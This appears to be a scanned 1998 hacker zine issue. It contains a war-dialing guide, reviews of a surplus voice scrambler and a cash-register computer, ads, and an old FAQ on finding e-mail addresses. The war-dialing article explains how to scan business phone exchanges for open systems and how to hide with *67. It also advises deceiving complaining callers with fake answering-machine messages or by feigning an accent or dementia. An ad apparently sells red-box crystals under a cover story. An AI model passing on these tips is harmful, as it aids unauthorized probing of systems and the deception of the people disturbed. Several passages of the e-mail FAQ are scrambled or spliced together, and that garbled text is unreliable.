For those of you who don't know, war dialing is dialing every single number within a certain exchange, or a certain set of numbers that fit a certain criteria (like every 800 number that ends in 1803). When doing this you are likely to find ANIs, VMBs, interesting computer systems that can be dialed into, and more. There is one story about a phreak who found and Air Force base computer with no password protecting it or anything, giving him full access to the base. I have also heard stories about people finding stores with electronic signs out front that could be changed by a computer dialing in (if you find one, make it say 'Free kevin' will you?). It's not just that though. There is a small art to war dialing, and in this article I will try to explain that as fully as I can.

The first thing you must do when war dialing is to pick a good war dialer. You could write your own I suppose, but for something as harmless as war dialing using one of the other readily availables ones is no problem. I prefer phonetag for a couple of reasons. One is that it allows flexible templates. The other really good thing is that you can use a prefix when dialing. This allows you to put in *67 as the prefix and no one with caller ID will get pissed off at you and call you back. The last reason I like it is that you can minimize it and it will run in the background and it won't even show up on the taskbar.

The second thing you have to do when war dialing is pick an exchange. Look in the phonebook. At the beginning it should have a chart that says "if you are in this exchange, then these other ones are in your area." Depending on your calling plan this may be a very good idea. look through those exchanges. The best ones are ones that cover areas that are largely commercial or industrial. War dialing a residential zone won't do too much good. In my area my ISP recently got a bunch of new high speed phone lines that were in an exchange I'd never seen before. A little more research revealed that this was a new exchange (they're running out of numbers) that was only for businesses and other kinds of commercial enterprises. If you have one of these in your area then this is exactly the kind of thing you want to war dial. Nothing but goof targets just waiting for you to dial up and have them recorded in the war dialer.

The next thing you'll want to do is figure out the peculiarities of that exchange. Different exchanges will have different recorded messages when you dial a number that doesn't exist. After that message many will then have a busy tone if you don't hang up. The war dialer will hear the busy tone and assume the number is just busy and put it back into the list of numbers to be dialed. what you have to do is dial into that exchange a couple of times and see how long it takes before the busy signal comes on. In my exchange it's about 15 seconds. For that reason I set the preferences in my war dialer to only wait for fourteen seconds before giving up on the number as a non-useful number. Trust me, doing this once can save a lot of hassle later on.

At this point you're almost ready. it might be a good idea to get one of those phone book CD-ROMs and put it into a separate list. Then remove all the numbers on that list from your list of potential numbers to dial. In this way you won't waste a lot of time dialing peoples homes. If you don't want to spend the money for one of these things then don't bother, it's not the end of the world if you don't.

The last thing you may want to do is to dial the 99xx part of your exchange with the speaker on. The 99xx part of most exchanges has interesting things like PBXs, VMS, ANACs, and possibly just interesting numbers that generate weird tones. That's also the place where you're most likely to find loops. For this reason you may want to be sitting next to your computer with a pen and paper recording any interesting numbers that come up for later evaluation. Once you've finished with the 99xx part of the exchange just let 'er rip. Tell phonetag to begin while you go read a good book. It's not a good idea to be war dialing at obscene hours of the night. I never did wardial between 10:30 pm and 7:00 am because it's not nice to wake people up in the
middle of the night. If you're removing all the residential numbers from a CD-ROM phone book though, then you should be okay.

In some areas unfortunately *67 doesn’t work. If this is the case then you’re going to be in a lot of trouble unless you get a phone book and remove the residential numbers. However, there are some things you can do to minimize the damage. First it’s best to just do a lot of war dialing all at once so that all the complaints come at once, and not over the course of a couple days. Best to just get things over with once and for all. My favorite thing to do is to change the message on the answering machine to say something like “hello, you have reached the law offices of Smith, Jones, and Frank. We can’t come to the phone right now...” Make it a really long message, give phony directions for getting to the office, office hours, long pauses, and talk slowly. In that way anyone who calls will get fed up of listening to you ramble on and just give up. You could also pretend to be a tech support line and put them on hold for approximately twenty minutes. No one will want to wait twenty minutes so they'll just hang up.

If you don’t have an answering machine then you’re in for a lot more work. You could leave the phone off the hook when you’re not war dialing, or you could try and defuse the situation yourself. Answer the phone and pretend that you have no idea what the caller is talking about. It might also be helpful to talk in a really think accent that no one can understand what you’re trying to say. Playing a really slow guy with alzheimers could also help. The basic idea is to just get people to dismiss the call on their caller ID as a fluke accident and not think about it again.

One last side note is the legality of war dialing. I know for a fact that in some parts of Colorado it is illegal to call someone without the intent of talking with them. A war dialer then, if caught, would be in trouble. Using *67 is the absolute best advice I can give to anyone though, as it will save a lot of trouble. Check the laws in your area though. It may be useful to know what the laws are before you start war dialing.

SO, YOU WANT TO START YOUR VERY OWN MEETING?

Send us a letter with the following information:

- Your name (for our records)
- Your address (for your free subscription)
- Your Alias (to be published)
- Location of meeting (Address, City, State, Directions)
- Area Code of the city where the meeting is to be held
- Email address (to be published)
- Web Site (to be published)
- Time and day meeting is to be held (yep, we’re going to let each meeting have their own time/day)

Here’s our very first meeting:

City/State: LasVegas, Nevada
Area code: 702
Location: WOW Superstore (Corner of Saraha/Decatur)
Host: Freaky
Email: freaky@nevadaunderground.org
Web Site: www.nevadaunderground.org
Time/Day: First Friday of each month 8:00pm
Useful Hardware

Here's a couple of useful items we dug up at Electronics and Computers Surplus City. First is a great little voice scrambling device from the eighties, brand new, unused in the box. It may take a little modifying for your exact needs but performs great. Second is a self contained 486 based computer module scrapped out of cash register machines. The computer is pretty compact and would be great for remote or mobile applications. ECSC has a web site at http://www.eio.com if you want more info or see their ad on the inside back cover of this issue of THUD!

The GRE SecureTalk ST-2020

cost: about $100

Here's a pic of the contents of the box. The unit comes with a user manual and mounting brackets and hardware, as well as a power adapter cord for use in a car (cigarette lighter).

This unit is a small box designed to hook up to a telephone and at the touch of a button, scramble the conversation to protect from eaves droppers. Two devices are required, one for each person communicating. The unit which I examined was designed for use on mobile phones. Basic specs per the owners manual are as follows.

Coding:
4 externally selectable codes
32 internally selectable codes

Coding technique:
2 band frequency inversion

Power requirements:
9 to 14 volts DC

Power consumption:
100mA in secure mode
10mA in normal mode

W x H x D:
7 x 14 x 4 inches
177 x 35 x 100 mm

Weight:
380g
0.84 lbs

Fuse:
100mA

The unit comes with a users manual and power adapter to connect the unit to a cars cigarette lighter socket. The two units I examined did not come with cables to hook the unit to the phone. For mobile use the unit comes packed with mounting brackets and screws.

The unit is connected between the phone base and the handset. The diagram in the manual shows it connected to a standard household phone and connection in a mobile unit is similar.

The unit has five buttons each with it's own LED to indicate the current operating mode. One button is for normal mode and is indicated with a red LED. In this mode communications are passed through the device with no scrambling. The other four buttons, with green LED's, are the four selectable encoding modes.

On the underside of the unit is a small panel which the user has access to. Inside are four sets of dip switches, each one corresponding to one of the encoding buttons topside. These are 5 position dip switches giving each channel the choice of 1 of 32 different scrambling codes. For proper use at least one channel of each unit must have the same settings. It is possible to have the settings on different buttons, i.e. one units channel 1 corresponds to the other units channel 3.

Closup showing the 'Normal' mode and four 'Safe' mode buttons and LED indicators. The finish is gloss black and silver, common for products from the Eighties.

Along the back side of the unit are two 9 pin D-sub connectors, two 4-position turn switches, a power jack, and fuse access.

The fuse requirements in the manual state a .1 amp fuse; however, on the unit itself it says .5 amp fuse. It would be reasonable to replace the fuse with the one that comes with the unit. In the ones that I examined there were standard 125v .5amp fuses.

Here's a shot of the belly of the beast...errr...the underside of the scrambler. The access panel has been removed to show the four sets of dip-switches for selecting the individual scrambling codes for each of the 'Safe' channels.

The turn switches allow the user to adjust the input 'mic' level and the output level. There are only four positions to each but I found that the range is more than adequate.
The power connector is the common type found with most small device wall transformers. The input requirements are 9 to 14 volts DC. The tip is positive with the sleeve being ground.

The two D-sub connectors are what connects the unit between the base and handset. The manual did not have any pinouts so I had to open up one of the devices and do a little reverse engineering. What I found was pretty simple. Most of the connectors simply pass through the unit from one connector to the other. These connections are probably for control and power signals being channeled to the handset from the base. Two pins on each connector are used for the audio.

The connectors are one each male and female. The connection to the base, marked 'main' is female, requiring a cable with a male end. The other connector, marked 'handset' is female, requiring a cable with a male connector.

The pinouts are fairly simple. It should be noted however that the audio input on one connector comes out the other connector. It is meant that the mic and speaker are on separate lines.

<table>
<thead>
<tr>
<th>pin</th>
<th>main</th>
<th>handset</th>
<th>5</th>
<th>in1</th>
<th>out1</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>X</td>
<td>X</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>2</td>
<td>X</td>
<td>X</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>3</td>
<td>X</td>
<td>X</td>
<td></td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>4</td>
<td>out2</td>
<td>in2</td>
<td></td>
<td>9</td>
<td>GND</td>
</tr>
</tbody>
</table>

The PSI POS System unit Model 1

This small aluminum box is a self contained motherboarded PC compatible computer. It contains a power supply, backplane motherboard, CPU board and what appears to be a LAN card. It was designed to be used in point of sale (POS) cash registers similar to the computerized cash registers one finds in large department stores. The device can be made to work as a stand alone computer with only minor modifications.

The PSI POS System unit Model 1

cost: about $50

This is the whole unit, power supply and all. The two cards that come with the unit have been removed so you can see them better. The card on the right is the CPU card with the four SIMM slots and massive connector for access to com ports, etc. The card on the left is the LAN card.

SPECS:

<table>
<thead>
<tr>
<th>H x W x L</th>
<th>3 7/8 x 5 x 19 1/2 inches</th>
</tr>
</thead>
<tbody>
<tr>
<td>Power</td>
<td>100-130v AC at 2.5A</td>
</tr>
<tr>
<td>External connections</td>
<td>4 9-pin D-sub connectors for COM1 thru COM4</td>
</tr>
<tr>
<td></td>
<td>1 5-pin DIN connector for standard 101 keyboard</td>
</tr>
<tr>
<td></td>
<td>1 25-pin D-sub connector for parallel port/printer</td>
</tr>
<tr>
<td></td>
<td>1 15-pin D-sub connector VGA monitor</td>
</tr>
<tr>
<td></td>
<td>1 RCA connector for external speaker</td>
</tr>
<tr>
<td></td>
<td>1 4 pin power connector</td>
</tr>
</tbody>
</table>

Backside of the scrambler showing the 9-pin D-Sub connectors, mic and speaker volume adjusts, power connector, and fuse holder.

It is apparent from the manual that version of the unit exist with connectors for standard in house telephones. Connections for these are probably different and may just be standard phone jacks.

The device can easily be adapted to any number of application requiring scrambling of communications. All that would be required would be the appropriate adapters. In my testing of the units I found that in scrambling mode there was a significant change in the sound quality, although not enough to hinder scrambled communications. In normal mode the sound is completely unchanged as it simply passes through the device.

Upon application of power it is immediately apparent that the unit comes with a 486 SLC/2 processor and 4 megs of RAM. The BIOS is a modified Chips & Technologies BIOS v3.0.

Pressing CTRL-ALT-S will bring the user to a fairly standard BIOS setup program where one can set the usual date/time, floppy/hard drive, and other parameters.

Allowing the machine to continue it's bootup procedure brings the user to a prompt which leads to a series of questions.

1> "Run Off Line Test 1=Yes 2=No"

2> "Select Options 1=Diag 2=Set ID"

Set ID is to set the unit number on the LAN for all the registers.

Selecting Diag will bring you to step 3 below otherwise selecting

Set ID brings the user to:

2a> "Set Terminal ID? 1=Yes 2=No"

Selecting NO will bring the user back to the Select Options prompt. Selecting YES yields:

2b> "Terminal ID = 128 1=OK 2=Up 3=Down"
Up increments the user ID, Down decrements the user ID. OK accepts the selected user ID and goes to the next prompt:

2>"Update CMOS [xxx] 1=Yes 2=No"
   This asks the user to confirm the selected user ID and to store it in the CMOS. Upon exiting this the user is brought to the Select Again option at step 9 below.

3>"Test 2 Line Display 1=Yes 2=No"
   Apparently the cash register this computer is designed for has a small two line alphanumeric display. Presumably this is the price display. Selecting YES will send a test stream of data to the display for a few seconds and displays on the monitor the message "Sending test data to the two line display". I would guess that this is actually sent to one of the COM ports although I was unable to confirm this.

4>"Test POS Printer 1=Yes 2=No"
   This is to test the receipt printer. Selecting YES sends test data to the printer and displays on the monitor "Sending print data to the POS printer". Again this is probably sent through one of the four COM ports.

5>"Read KB data 1=Yes 2=No"
   A keyboard test. I'm not sure if it's to test the 101 keyboard or another one hooked to the register. Selecting YES displays the message "Any key to test - 2 key 3 times to exit". I tried this and anything I typed on the keyboard was echoed to the screen. The exit trick is kinda strange but just pressing the number 2 three times in a row exits just fine.

6>"Read MSR data 1=Yes 2=No"
   Ah, the magnetic stripe reader. This allows the MSR to be tested. Selecting YES displays "Swipe card to test MSR read". The computer will just sit there waiting for you to swipe a card. Since the unit does not come with an MSR reader, I tried the "222" keyboard sequence and was able to exit this routine. The MSR is probably hooked up to one of the COM ports.

7>"Test Speaker 1=Yes 2=No"
   Just a simple speaker test. Selecting YES beeps the speaker three times. Sorry, no 5.1 DTS test track here.

8>"Test Cash Drawer 1=Yes 2=No"
   This function, if selected will display "Sending command to open cash drawer". I suppose that this is also connected to one of the COM ports.

9>"Select Again 1=Yes 2=No"
   It's not immediately apparent what this is for but after some simple trial and error I found that is was simply asking if the user wants to run through the menu sequence again. Selecting YES brings the user back to line 2 above. Selecting NO displays "Leaving test mode, terminal will reset" and does so.

Screen shot of the BIOS setup. It's just like any other PC BIOS you'll find on other 486 type computers.

After going through the above menus the system continues a standard BIOS bootup procedure. You do not have to go through any of the menus. If you do not answer the questions within 5 seconds the computer just goes along on its merry way and continues to boot.

Next the computer prompts "Boot from LAN? 1=Yes 2=No". If you answer NO or wait five seconds the computer continues a normal boot sequence. Otherwise it attempts to boot from the LAN. Not being hooked up to a LAN the computer eventually displays "Ver 1.25 PSI ROM complete - loading!!" and sits there. Obviously nothing is going ot happen if it's not hooked to a LAN. The LAN card is made by DCNS inc, part number 42-0701D.

The computer is a backplane motherboard type with four 16-bit slots. The unit comes with two slots filled, one a CPU card, the other a LAN card. The case is a bit cramped. In fact one of the slots is so close to the edge of the board that the

Blacklisted! 411
The Official Hackers Magazine

Tired of the same old thing?
NOW you have a choice!
Published by Syntel Vista, Inc.
"We're in our 5th year, now! Join the thousands of other happy hackers around the world! Take a look at our rag!"

We publish reader questions and article submissions. Got something to share with the hacker community? We're your resource AND your means to communicate with fellow hackers!

Blacklisted! 411, P.O. Box 2506, Cypress, CA 90630
Office (909)738-0406 Fax (909)738-0509

Subscriptions are $20/yr U.S., $24/yr Canada, $35/yr Foreign (U.S. Currency) Samples are $5 each (most current issue unless otherwise requested)

NOTE: We're a quarterly zine - we only publish 4 issues per quarter.

DON'T GET BURNED OUT, DUDE!
I decided to see if I could use this computer in a normal way by hooking up floppy or hard drives. I took out the LAN card and installed an extra ATIO card I had laying around. I had some trouble getting the card into the cramped box. I had to remove one of the locking nuts on the external connectors to the card in order to have enough clearance to slip the card into its slot. This card provides an IDE hard drive and a floppy drive connector. First, not wanting to risk a HD I just hooked up a 1.44" floppy. I booted up the system, ran the BIOS setup and configured the system for the floppy. I then rebooted the computer and skipped all the menus. Of course, I put in a DOS bootable disk into the drive. VOILA!!! The system booted into it's slot. This card provides an IDE hard drive and a floppy drive. I then got brave and borrowed one of my older Maxtor LXT-213A drives and hooked it up to the system. This drive, although small, is one of my favorites because it has been so reliable for me. I no longer use it on my main system as 212 megs just isn't enough to run an NT setup. I booted up, ran BIOS setup, configured the system for the drive, and booted the system. It worked just fine.

Since the drive worked, I hooked up a mouse to COM1. This drive still had my old DOS 5.0/Windows 3.11 setup on it. I decided to see what programs I could run. I didn't have any problems booting Windows. I even was able to run it up to a 1024x768x256 graphics mode. This surprised me, but made my imagination run wild with all the possibilities I could use this little surplus computer for, and I have three of them!!

I must point out that in order to hook up the external drives, I needed to make a small modification for proper power. The external power connector only provides GND, +5, and -5 volts. For drives one needs GND, +5, and +12 volts. The way in which I obtained these was to remove the power supply from the aluminum case and splice into the power leads going to the motherboard/backplane. Determining which wires were what voltage was easy using a voltmeter. I do not suggest trying to run more than one small hard drive and one floppy drive. I don't think the power supply would be able to prove enough current for anything more.

All in all, even though the computer was meant for a specific application, a little ingenuity, imagination, and time will provide someone with a nice little computer excellent for data acquisition, control processing, or just about anything a small, self contained 486 can be used for.
EPROMS COPIED We have an EPROM duplication service. Give us your original and we can make as many copies as you'd like. We specialize in older 2516, 2532, 2716, 2732, 2764, 27128, 27562, 27512 EPROMs. We also do Bi-Polar PROMs, as well. $6 per copy includes the copy service, the material (any of the part numbers mentioned above) and return shipping. Bi-Polar PROMs may be slightly more or less in cost. 15% discount on 10+ copies. 20% discount on 25+ copies. Send prepaid orders (with master copy) or inquiries to: TCE Information Systems, P.O. Box 5142, Los Alamitos, CA 90721

THUD MONTHLY MEETINGS We don't have any meetings for the magazine yet. If you're interested in setting one up in YOUR area, please contact us. For now, we suggest you hang out at the Blacklisted! 411 meetings until we can come up with our own. THUD Magazine, P.O. Box 2521, Cypress, CA 90630 "Come one, come all, just don't be a FED" BLACKLISTED! 411 Magazine From the same people who produce THUD Magazine, another magazine dedicated to hackers. If you like this magazine you will like Blacklisted! 411. $5 sample copy. Blacklisted! 411 Magazine, P.O. Box 2506, Cypress, CA 90630

COIN-OP VIDEO ARCADE GAMES. Repairs, parts, boards, accessories, and empty cabinets available for all your video game and pinball needs. Largest selection available in the US, Canada, Japan, the UK, Australia, and elsewhere. Join our long list of satisfied clients who have made Blacklisted.411 their vehicle for reaching customers. Call 714-899-8853 and request our rate card information. Blacklisted! 411 Magazine, P.O. Box 2506, Cypress, CA 90630

"TAKE BACK YOUR PRIVACY" Author and Speaker Bill Hayes shows you how to stay cyber, yet stay private. Real world tips and examples to keep prying eyes and electrons out of your life. Send $13.00 (won't keep any records on you, your cash, address, or checking account) plus $2.50 SH to: Bill Hayes, 12289 Pembroke Road, Suite 151, Hollywood, FL 33025 or leave a message at (954) 537-3792. The privacy you preserve will be your own...

"I LOVE TOXIC WASTE" T-SHIRTS Now available. Red on white. Available in Large and Extra Large. $16.95 each. TCE Information Systems, P.O. Box 5142, Los Alamitos, CA 90721

AUCTIONS! You hear about them all the time, but you've never been to one? You gotta GO to one. You can buy just about anything for pennies on the dollar! Cars, trucks, boats, houses, electronic equipment and much, much more! Send $6 and we'll send you a booklet loaded with names, numbers and places to go... YOU NEED to do this! You'll find out how you can attend the non-advertised auctions, which will mean better deals for you. Don't miss out on all the great deals! Send $5 right now: TCE Information Systems, P.O. Box 5142, Los Alamitos, CA 90721

ADVERTISE IN BLACKLISTED! 411 Reach thousands of readers in the US, Canada, Japan, the UK, Australia, and elsewhere. Join our long list of satisfied clients who have made Blacklisted.411 their vehicle for reaching customers. Call 714-899-8853 and request our rate card information. Blacklisted! 411 Magazine, P.O. Box 2506, Cypress, CA 90630

ADULT VIDEOS. We have all the newest releases for $25.99 plus s/h or LESS. Get the latest titles, hottest names; Raquel Darian, Myrlin Star, Nikki Dial, Janine, etc. Amateur, all girls, etc. New titles every week. For latest prices, send SASE to: E&M Adult Videos, P.O. Box 1471, Los Alamitos, CA 90720.

"I'VE BEEN BLACKLISTED!" T-shirts now available. Endorsed by the Blacklisted! 411 crew. Get yours now. White lettering on black shirt. Available in large and extra large sizes. $14.95 each shipped. Send to TCE Information Systems, P.O. Box 5142, Los Alamitos, CA 90721

THUD MAGAZINE WANTS YOU! We're still really new, so we're looking for a few things. If you're a hacker, artist, writer or around freak, send us what ya got! We can offer free subscriptions in exchange for articles or artwork we end up printing. So, get off your butt and send us some good stuff to print in the magazine. THUD Magazine, P.O. Box 2521, Cypress, CA 90630.

Attention all hackers in Nevada!! Join the Nevada Unerground team to expose the local scene. Many hackers like in Nevada but no one knows each other. Find out more at www.nevadaunderground.org.
If you need those hard to find 6.500MHz Xtal's, we got 'em! If you need those hard to find 6.500MHz Xtal's, we got 'em! If you need channel 21 (Disney) notch filters, we got 'em! If you need it, CALL US TODAY!

Order YOURS TODAY!

6.500 MHz "Red Box" Filters

This is the very notch filter used to receive The Disney Channel on Paragon Systems in Southern California. They try to charge $150 for this sucker!

$4.00 + $1.00 s/h

$20.00 + $2.00 s/h

BLOWOUT PRICES!

We've been selling the 6.500MHz crystals for several years now!

If you need the most notch filters, we got 'em! If you need the most notch filters, we got 'em! If you need the most notch filters, we got 'em!

Order YOURS TODAY!

PVS
P.O. Box 1032
Los Alamitos, CA 90720

THUD Volume 1 Issue 2 - Fall 1998 41
Introduction

A question which appears frequently on the Usenet is, "I know someone's name, and I think they might have an electronic mail address somewhere. How can I find it?"

There are many different techniques for doing this. Several of them are discussed below. Your best bet is to try the pertinent methods in this posting in the order in which they are listed (well, sort of; at the very least, please try all the pertinent methods which do not involve posting queries to soc.net-chance that it might be found without asking. This attitude is somewhat counterproductive, since in most cases, it is much easier to get someone's E-mail address by asking them than it is by following the other methods outlined below. Furthermore, even if you do manage to find an E-mail address using one of the on-line methods described below, it is not guaranteed that the person at the other end of the line checks it regularly or even that it is the correct address.

Therefore, if you do have a telephone number that isn't too expensive to call, or if you have a paper-mail address and aren't in too much of a hurry, you can probably save yourself a lot of trouble by skipping all of the on-line methods listed below and going directly to "Direct contact."

Avoid public distribution of individuals' addresses

It is considered rude to widely distribute (e.g., in a Usenet posting) a person's E-mail address without his/her prior consent, even if the address is publicly available using one of the techniques described below or some other technique.

It might seem that having one's E-mail address listed in a publicly accessible database is equivalent to distributing it, but this is not the case in practice, for three primary reasons:

>Some people may not be aware that their addresses are available for others to locate. For example, the majority of Usenet posters are unaware of the database of Usenet E-mail addresses mentioned below.

>When some effort is required to locate a person's address (e.g., using the techniques described below), only people who have a specific reason to send mail to him/her will go to the trouble. However, if the address is mentioned in a Usenet posting read by thousands of people, no effort is required to obtain it, and many more people will send him/her mail. Most people with E-mail addresses are not accustomed to receiving E-mail from strangers or large amounts of E-mail, and they may not be happy if they do.

>As unwanted E-mail becomes more common, people will start to remove their addresses from public databases, which means that it will become more difficult to find people's addresses for legitimate reasons.

In summary, if you want to advertise someone's E-mail address, get his/her permission before you do it. Besides, if you're going to advertise an address, it's a good idea to make sure it works first, and writing to it for permission is a good way to do that.

Web Searches

E-mail and phone directories

Entry Changed: Sat Dec 21 1996

Several organizations let you search for addresses by filling in and submitting a form from your Web browser. In many cases these services populated their databases by scanning for addresses in USENET news postings.

MESA (MetaEmailSearchAgent) @ http://mesa.rrzn.uni-hannover.de allows you to submit a single query to multiple search engines, including Bigfoot, DejaNews, Four11, IAF, Infospace, Swissinfo, and suchen.de. You get to specify how long to wait, and it might time out returning no hits.

555-1212.com @ http://www.555-1212.com/ is an on-line directory of telephone numbers, compiled from the three major telephone information vendors. Unlike many other search engines, it has few graphics to slow you down. It provides several other directory services as well.

Four11 @http://www.four11.com/ is a commercial online directory service with over 10 million listings (as of August 1997) All Internet users are provided free basic access, which includes a free listing and free searching. You can also access the service by sending mail to info@four11.com.

Yahoo People Search @ http://www.yahoo.com/search/people/ which currently uses Four11.

InfoSpace @ http://www.infospace.com has about 200 million worldwide telephone numbers, and also provides search for e-mail addresses.

WhoWhere? @ http://www.whowhere.com has directories for e-mail, phone numbers, and personal Web pages. You can search based on affiliations like occupation, school, or interests.

POPULUS @ http://www.populus.net asks people register with them, providing personal information such as interests, college attended, and date of birth, then lets people search on this information.

Internet Address Finder @ http://www.iaf.net/has about 4.5 million listings as of July 1996.

Find mE-Mall @ http://www.findmemail.com/ advertises itself as the place to post your new e-mail address, for your old e-mail friends.

Switchboard @ http://www.switchboard.com/ is a Web-based telephone directory. Its names are compiled from published white pages directories and other publicly-available sources. If you register a password with Switchboard, you can add additional information to your listing, including your email address. You can arrange to hide your email address (or other parts of your listing), while still allowing people to email you a brief note via Switchboard.

AnyWho @ http://www.anywho.com/ is a white pages and yellow pages directory service that encourages people to update their listing to include e-mail addresses.

Phonebooke @ http://www.phonebooke.com/ lets you search for people in the USA by name or phone number, and provides forms to interface with many other search engines, including Four11, the AT&T Internet directory, NYNEX' Big Yellow, and 555-1212.com.
Altavista
http://www.altavista.digital.com
Entry Created: Fri Jul 5 1996

Digital's Altavista search engine indexes Web pages and Usenet postings. If you suspect the person you are looking for has created a web page or posted to Usenet, you may be able to find them this way.

National white pages
Entry Changed: Thu Dec 12 1996

There are a few internet white pages based on nationality:

- Belgium   http://www.advalvas.be/white
- Brazil    http://www.supermail.com.br/
- Finland   http://www.kotka.fi/
- France et La Francophonie  http://www.pagesweb.com
- Germany (German Telecom) http://www.email-service.de/
- Germany http://www.suchen.de/
- Germany http://www.finden.de/
- Hungary  http://www.skyex.com/default1.htm
- Israel http://www.ibm.net.il/WebPh
- Italy     http://www.ats.it/wpages/
- Sweden http://directory.ausys.se/ecatalog/search.htm
- Switzerland http://www.swissinfo.ch/email/

lookup.com
http://www.lookup.com/
Entry Changed: Fri Jul 5 1996

LookUP! merged with Four11 in the spring of 1996.

Gopher and PH

Gopher is an Internet-wide distributed document retrieval service. If your site has a gopher client program, you can use it to access gopher servers at other sites; domain X.edu might have a gopher server gopher.X.edu, but there's no guarantee.

One kind of document sites often place under gopher is their phonebook; many phonebooks are managed through a system called PH @ http://www.amherst.edu/~atสถา compt puters/ph.html.

WebPH @ http://www.middlebury.edu/~its/Software/WebPh/ is a World-Wide Web interface PH. If a site you are interested has installed it, you can look up people from that site by filling in a query form. Unfortunately, there is no convention for how to guess where to find the WebPH or PH server given the site name.

Most Gopher servers have pointers to a complete list of ph servers used by all sorts of organizations. You can enter various criteria, in an easy-to-use manner, and it will return the info that you didn't give (if, of course, there are more than 20 entries that match. This is to prevent people getting mailing lists via the ph servers.)

Many of the on-line methods for finding addresses documented below are easily accessible, with a consistent user interface, from the Internet Gopher burrow at the University of Minnesota. If you are on the Internet, you may want to try using Gopher to do your searching before going directly to any of the methods described below. Ask someone at your site to find out if Gopher clients are installed there. Or, to find out how to use it and/or install it yourself, see the comp.infosystems.gopher FAQ @ gopher://mudhoney.micro.umn.edu:70/00/Gopher.FAQ posting.

Other Techniques

College and School Email Addresses

The College Email FAQ @ http://www.qcus.queensu.ca/FAQs/email/college.html describes the account and E-mail address policies for graduate and undergraduate students at many universities and colleges. If you are looking for a university/college student, check those postings for the university or college in question and follow their instructions for finding out more.

This FAQ is also posted regularly to soc.college as a collection of postings whose subjects start with "College Email Addresses." If the postings have expired at your site or has not been posted recently, you can get a copy of them using the instructions below.

If the university has a PH (phonebook) server, it may be listed in the Colleges and Universities PH server directory @ http://home.cdsnet.net/~zachbooththers.html.

ClassMates @ http://www.classmates.com lets secondary school alumni freely register their e-mail addresses; the database covers US, Canada, and American Overseas high schools.

Usenet-addresses server

If you think that your target may be on the Usenet and may have posted a message to the Usenet at some point in the past, you might be able to find his/her address in the Usenet address database on the machine rtfm.mit.edu.

To query the database, send an E-mail message to mailserver@rtfm.mit.edu with "send usenet-addresses/name" in the body of the message. The "name" should be one or more space-separated words for which you want to search; since the search is fuzzy (i.e., all of the words you specify do not have to match), you should list all of the words you think might appear in the address, including (for example) first and last name, possible username, and possible components of the host name (e.g. "mit" for a person you think is at MIT). The case and order of the words you list are ignored.

Note that multiple requests can appear (on separate lines) in mail to the mail server, but each request will be answered in a separate message.

In many cases, you will get a list of quite a few matching addresses, and you will have to go through it looking for ones that may be the one you're looking for. However, the mail server will return a maximum of only 40 matches.

Note that the usenet-addresses database is accessible via WAIS (in fact, the script that does mail server searches is actually just a front-end to a WAIS database) on two different hosts: rtfm.mit.edu and cedar.cic.net. In both cases, the database is called "usenet-addresses" and is on port 210. Note that the version on rtfm is slightly more up-to-date with respect to the master address list than the version on cedar.

If you don't know what WAIS is, then don't worry about this paragraph; if you're curious, see the "comp.infosystems.wais" newsgroup.

For more details about how to use the database, send the command "send usenet-addresses/help".

Inter-Network Mail Guide

If you know which network/service your target has an account on (e.g. CompuServe, Fidonet), then the "Inter-Network Mail Guide" posting in comp.mail.misc "may" be able to provide you with some help, although it probably will not be particularly helpful unless you have some sort of address to start with (a small number of networks use full names as addresses, and the posting mentions when this is the case, but it doesn't apply in very many cases).

See the instructions below for getting a copy of this posting if it isn't available in comp.mail.misc at your site.
Whois is the internet user name directory service. It's Matt H. Power of MIT <mhpower@athena.mit.edu> has "whois" or "nicname". Do "whois" servers. The file can be retrieved via anonymous ftp available on some UNIX systems as a command called compiled and maintains an extensive list of sites that run "whois" servers.

To get a help message. The whois and nicname programs will check the database maintained at rs.internic.net (or nic.ddn.mil for U.S. military sites) for the given names. For example, nicname <name>

whois <name>

whois <host> <names>

where <host> is some site with a whois server. This is only useful for people listed in the database. Many regional networks and some universities maintain their own NICs.

You can also get some of this information by telnetting to rs.internic.net and running whois and host there, or to nic.ddn.mil if you are looking for U.S. military personnel. Alternatively, you can issue a single command to the whois.internic.net server by typing "telnet whois.internic.net whois" in order to connect to it and then typing the command and hitting return; the "help" command will return several screens full of text, so if you need help, you should use a utility such as "tee" or "script" to capture the help message and save it for future reference.

If you do not have Internet access, you can send mail to whois@whois.internic.net to query the "whois" database; send a message with "help" in the body to find out more information.

Some sites run local "whois" databases to provide information about people inside their organizations. The only way to find out if your site runs such a database is to ask someone locally about it (see "Get more help locally" below), and the only way to find out about such databases at other sites (assuming, of course, that those databases are not mentioned in any of the other sources listed in this document) is to contact responsible individuals at those sites and ask (see "Finding a host name and asking someone there for help" below).

Other whois databases

Quite a few other sites also run "whois" databases that can be connected to over the Internet using the whois protocol (using either the "whois" program or "telnet hostname whois" as described in the previous section). Some of those sites are listed here, and others are listed in a separate list, described in more detail below.

The Ohio State University runs a "whois" database (on the machine "osu.edu") that has all of the faculty, staff, and students listed. It responds to "whois" queries in the normal fashion, or you can just send mail to firstname.lastname@osu.edu and it will try to deliver e-mail if the person has registered an e-mail address. You can also telnet to osu.edu and look-up a person. If you are unsure of the spelling this is a good way, as it does a soundex type search so exact matches are not necessary. No password is necessary.

RIPE (a cooperative group of several European Internet providers) runs a "whois" database, with RIPE information, on "whois.ripe.net"; it is a European counterpart to "whois.internic.net".

Matt H. Power of MIT <mhpower@athena.mit.edu> has compiled and maintains an extensive list of sites that run "whois" servers. This list contains more information about MIT's domain, and doing that would give you contact information about the people responsible for administrating that domain, including the handles of those individuals, which you can then look up to get still more information about them.

Other directory services

There are several other directory services you may be able to use to search for your target.

The person you are searching for may be using Pobox.com @ http://pobox.com/pobox/, which provides permanent email forwarding addresses You submit to a searchable database your real name and some biographical information; you receive a memorable email forwarding address that you can forward to your current real mailbox. Whatever your real address is, you can be found at and mailed through pobox.com. Pobox.com is growing very quickly and has amassed a substantial database. To sign up or find a subscriber, use the Web address or send mail to info@pobox.com.

Many Bitnet sites have name servers that can be queried in one way or another. To get a list of them with documentation, send a mail message to listserv@bitnic.bitnet (a.k.a listserv@bitnic.educom.com) with the command "send bitnet servers" in the body of the message.

The IBM Corporate Internet Gateway provides a directory of users (which I believe contains only IBM employees, although I'm not certain) that is available to anyone who can send E-mail to it. If your target works for IBM (or you suspect s/he does), then this might be useful to you.

